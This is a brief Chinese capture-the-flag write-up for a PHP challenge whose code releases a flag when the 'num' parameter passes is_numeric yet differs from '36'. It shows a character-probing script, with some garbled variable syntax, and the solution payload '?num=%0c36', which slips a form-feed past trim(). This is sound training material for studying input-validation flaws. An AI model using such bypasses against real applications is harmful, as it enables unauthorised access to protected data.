源码
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!
思路
慢慢一层一层在本地尝试
测试 php <?php //来自羽师傅 for (i=0; i <128 ; $i++) { x=chr(i).'1'; if(is_numeric($x)==true){ echo urlencode(chr($i))."\n"; } } // %09 %0A %0B %0C %0D + %2B - . 0 1 2 3 4 5 6 7 8 9
trim不过滤 %0c
题解
?num=%0c36
总结
水题
|